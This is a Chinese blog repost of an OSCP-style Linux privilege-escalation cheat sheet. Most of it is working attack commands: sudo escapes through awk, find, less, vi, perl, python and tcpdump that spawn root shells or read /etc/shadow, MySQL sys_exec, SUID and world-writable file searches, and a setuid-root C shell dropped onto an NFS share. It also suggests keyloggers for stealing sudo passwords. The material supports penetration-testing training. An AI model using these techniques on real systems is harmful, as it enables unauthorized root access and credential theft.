提权-特权升级

转载:https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html

一旦我们有了一个有限的shell,升级那些shell权限就很有用了。这样,它将更容易隐藏,读取和写入任何文件,并在重新启动之间保持不变。

在本章中,我将介绍这些常见的Linux权限提升技术:

  • 内核漏洞
  • 以root身份运行的程序
  • 已安装的软件
  • 弱/重用/明文密码
  • 内部服务
  • Suid配置错误
  • 滥用sudo权利
  • 由root调用的世界可写脚本
  • 路径配置错误
  • Cronjobs
  • 未安装的文件系统

枚举脚本

我主要使用了三个用于枚举机器的脚本。它们是脚本之间的一些区别,但它们输出的内容很多。所以测试它们,看看你最喜欢哪一个。

LINENUM

https://github.com/rebootuser/LinEnum

以下是选项:

-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-r Enter report name
-h Displays this help text

Unix privesc

http://pentestmonkey.net/tools/audit/unix-privesc-check
运行脚本并将输出保存在文件中,然后在其中输入grep警告。

Linprivchecker.py

https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py

特权升级技术

内核漏洞

通过利用Linux内核中的漏洞,我们有时可以升级我们的权限。我们通常需要知道的是,测试内核漏洞是否有效是操作系统,体系结构和内核版本。

检查以下内容:

OS:

建筑:

内核版本:

uname -a
cat /proc/version
cat /etc/issue

搜索漏洞

site:exploit-db.com kernel version

python linprivchecker.py extended

如果可以避免,请不要使用内核漏洞。如果使用它可能会使机器崩溃或使其处于不稳定状态。所以内核漏洞应该是最后的手段。如果可以,请始终使用更简单的私有密码。他们也可以生产很多东西sys.log因此,如果您发现任何好的内容,请将其放在列表中,并在利用它之前继续搜索其他方法。

以root身份运行的程序

这里的想法是,如果特定服务以root身份运行,并且您可以使该服务执行命令,则可以以root身份执行命令。寻找网络服务器,数据库或其他类似的东西。一个典型的例子是mysql,例子如下。

检查正在运行的进程

# Metasploit
ps

# Linux
ps aux

Mysql的

如果您发现mysql以root身份运行,并且您使用用户名和密码登录数据库,则可以发出以下命令:

select sys_exec('whoami');
select sys_eval('whoami');

如果这些都不起作用,您可以使用用户定义函数/

用户安装的软件

用户是否安装了可能容易受到攻击的第三方软件?看看这个。如果你发现任何谷歌它的漏洞利用。

# Common locations for user installed software
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/

# Debian
dpkg -l

# CentOS, OpenSuse, Fedora, RHEL
rpm -qa (CentOS / openSUSE )

# OpenBSD, FreeBSD
pkg_info

弱/重用/明文密码

  • 检查webserver连接到数据库(config.php或类似)的文件
  • 检查数据库中是否有可能重用的管理员密码
  • 检查弱密码
username:username
username:username1
username:root
username:admin
username:qwerty
username:password
  • 检查明文密码
# Anything interesting the the mail?
/var/spool/mail
./LinEnum.sh -t -k password

服务仅限于内部

可能是用户正在运行某些仅可从该主机获得的服务。您无法从外部连接到该服务。它可能是开发服务器,数据库或其他任何东西。这些服务可能以root用户身份运行,或者可能存在漏洞。他们可能更容易受到攻击,因为开发人员或用户可能会想“因为只有特定用户才能访问它,我们不需要花费那么多安全性”。

检查netstat并将其与您从外部执行的nmap-scan进行比较。您是否从内部找到更多服务?

# Linux
netstat -anlp
netstat -ano

Suid和Guid配置错误

当运行具有suid权限的二进制文件时,它将作为另一个用户运行,因此具有其他用户权限。它可以是root用户,也可以只是其他用户。如果在可能产生shell的程序上设置suid-bit,或者以其他方式滥用,我们可以使用它来升级我们的权限。

例如,这些是可用于生成shell的一些程序:

nmap
vim
less
more

如果这些程序具有suid-bit set,我们也可以使用它们来升级权限。有关更多这些以及如何使用,请参阅有关滥用sudo权限的下一部分:

nano
cp
mv
find

找到suid和guid文件

#Find SUID
find / -perm -u=s -type f 2>/dev/null

#Find GUID
find / -perm -g=s -type f 2>/dev/null

滥用sudo权利

如果你有一个有限的shell可以访问某些程序使用sudo你可能能够升级您的权限。可以使用任何可以写入或覆盖的程序。例如,如果您拥有sudo权限,则cp可以覆盖/etc/shadow/etc/sudoers使用您自己的恶意文件。

awk

awk 'BEGIN {system("/bin/bash")}'

bash

cp
复制并覆盖/ etc / shadow

find

sudo find / -exec bash -i \;

find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;

ht

文本/二进制编辑器HT。

less

从少到你可以进入vi,然后进入shell。

sudo less /etc/shadow
v
:shell

more

您需要在比屏幕大的文件上运行更多。

sudo more /home/pelle/myfile
!/bin/bash

mv

覆盖/etc/shadow/etc/sudoers

man

nano

nc

nmap

python/perl/ruby/lua/etc

sudo perl
exec "/bin/bash";
ctr-d
sudo python
import os
os.system("/bin/bash")

sh

tcpdump

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

vi/vim

可以这样滥用:

sudo vi
:shell

:set shell=/bin/bash:shell    
:!bash

我如何通过sudo获得root权限/

以root身份调用世界可写脚本

如果您发现一个由root拥有但可由任何人写入的脚本,您可以在该脚本中添加自己的恶意代码,以便在以root身份运行脚本时升级您的权限。它可能是cronjob的一部分,或者自动化,或者它可能由系统管理员手动运行。您还可以检查这些脚本调用的脚本。

#World writable files directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

# World executable folder
find / -perm -o x -type d 2>/dev/null

# World writable and executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null

路径配置错误

.路径
。如果你把你的路径中的点,你将不必写./binary才能够执行它。您将能够执行当前目录中的任何脚本或二进制文件。

为什么人/系统管理员会这样做?因为他们很懒,不想写./.

这解释了它
https://hackmag.com/security/reach-the-root/
在这里
http://www.dankalia.com/tutor/01005/0100501004.htm

的cronjob

使用可为其他用户编辑的特权运行脚本。

查找特权用户拥有但可写的任何内容:

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

未安装的文件系统

在这里,我们正在寻找任何未安装的文件系统。如果我们找到一个我们挂载它并再次启动priv-esc进程。

mount -l
cat /etc/fstab

NFS共享

如果您发现计算机具有NFS共享,则可以使用该共享来升级权限。取决于它的配置方式。

# First check if the target machine has any NFS shares
showmount -e 192.168.1.101

# If it does, then mount it to you filesystem
mount 192.168.1.101:/ /tmp/

如果成功那么你可以去/tmp/share那里可能有一些有趣的东西。但即使没有,你也许可以利用它。

如果您具有写权限,则可以创建文件。测试您是否可以创建文件,然后使用low-priv shell检查用户创建该文件的内容。如果它说是创建该文件的root用户那就是好消息。然后,您可以创建一个文件,并使用来自攻击计算机的suid-permission进行设置。然后使用低权限shell执行它。

可以编译此代码并将其添加到共享中。在由低权限用户执行之前,请确保在其上设置suid-bit,如下所示:

chmod 4777 exploit
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
    setuid(0);
    system("/bin/bash");
    return 0;
}

通过键盘记录器窃取密码

如果您有权访问具有sudo权限的帐户但您没有密码,则可以安装键盘记录程序来获取密码。

世界可写目录

/tmp
/var/tmp
/dev/shm
/var/spool/vbox
/var/spool/samba
posted @ 2019-03-11 09:58  _H0f  阅读(354)  评论(0编辑  收藏  举报